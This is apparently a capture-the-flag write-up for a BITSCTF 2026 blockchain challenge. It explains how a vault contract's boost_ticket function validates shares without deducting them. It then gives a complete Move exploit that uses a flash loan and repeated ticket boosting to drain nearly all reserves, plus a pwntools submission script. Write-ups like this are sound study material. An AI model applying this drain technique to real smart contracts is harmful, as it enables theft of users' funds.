$ Blockchain: Recursion Vault

BITSCTF 2026 By TaklaMan
Flag: BITSCTF{3c748a61c650a26067717f68b61e17e9}

High-Level Summary

The vault logic is vulnerable because boost_ticket() increases withdraw ticket amount without deducting shares from the attacker account. This allows a small real position to be amplified into a ticket that represents nearly all vault shares, then redeemed via finalize_withdraw() for almost all reserves.

Root Cause

In boost_ticket(vault, account, ticket, boost_shares, ctx):

  • It checks boost_shares <= account.shares
  • But it does not update account.shares
  • Therefore the same shares can be reused repeatedly to inflate ticket.amount

This is a classic accounting mismatch: validation exists, but state mutation is missing.

Exploitation Strategy

  1. Create an attacker user account.
  2. Take a flash loan (flash_loan) for a fraction of reserves.
  3. Deposit that loan back into the vault (deposit) to mint shares.
  4. Create a tiny withdrawal ticket with amount 1 (create_ticket) so most shares remain in account.shares.
  5. Repeatedly call boost_ticket to increase ticket amount up to vault.total_shares.
  6. Call finalize_withdraw to redeem the oversized ticket and drain almost all reserves.
  7. Repay flash loan + fee.
  8. Keep the remainder as stolen amount and satisfy check_exploit threshold.

Why This Works Reliably

  • The exploit computes values dynamically from current on-chain state (vault::reserves, vault::total_shares) instead of hardcoding constants.
  • Repeated boosting is possible because account.shares is never decreased by boost_ticket.
  • Final withdrawal payout uses amount / total_shares ratio. Setting ticket amount near total shares yields near-total reserves payout.

Main Exploit Program (exploit.move)

module solution::exploit {
    use challenge::vault::{Self, Vault};
    use sui::clock::Clock;
    use sui::coin;
    use sui::tx_context::{Self, TxContext};
    use sui::transfer;

    public fun solve(vault: &mut Vault, clock: &Clock, ctx: &mut TxContext) {
        let mut account = vault::create_account(ctx);
        let initial_reserves = vault::reserves(vault);
        let flash_amount = initial_reserves / 20;

        let (loan, receipt) = vault::flash_loan(vault, flash_amount, ctx);
        vault::deposit(vault, &mut account, loan, ctx);

        let target_amount = vault::total_shares(vault);
        let mut ticket = vault::create_ticket(vault, &mut account, 1, clock, ctx);

        // account.shares is now reduced by 1; that remaining amount can be reused infinitely.
        let boost_cap = vault::user_shares(&account);
        let mut remaining = target_amount - 1;
        while (remaining > 0) {
            let step = if (remaining > boost_cap) { boost_cap } else { remaining };
            ticket = vault::boost_ticket(vault, &mut account, ticket, step, ctx);
            remaining = remaining - step;
        };

        let mut loot = vault::finalize_withdraw(vault, &mut account, ticket, clock, ctx);

        let mut fee = (flash_amount * 9) / 10000;
        if (fee == 0 && flash_amount > 0) {
            fee = 1;
        };
        let repay_amount = flash_amount + fee;

        let repay_coin = coin::split(&mut loot, repay_amount, ctx);
        vault::repay_loan(vault, repay_coin, receipt);

        transfer::public_transfer(loot, tx_context::sender(ctx));
        vault::destroy_account(account);
    }
}

Result

Remote evaluation succeeded and returned:

BITSCTF{3c748a61c650a26067717f68b61e17e9}

Reproducability

submit automatically with pwntools:

python3 - << 'PY'
from pwn import remote
from pathlib import Path
host, port = "chals.bitskrieg.in", 41482
src = Path("/home/taklaman/Downloads/exploit.move").read_bytes()
io = remote(host, port, timeout=20)
io.recvuntil(b"Module size (bytes): ")
io.sendline(str(len(src)).encode())
io.recvuntil(b"Source Code: ")
io.send(src)
print(io.recvall(timeout=120).decode(errors="ignore"))
io.close()
PY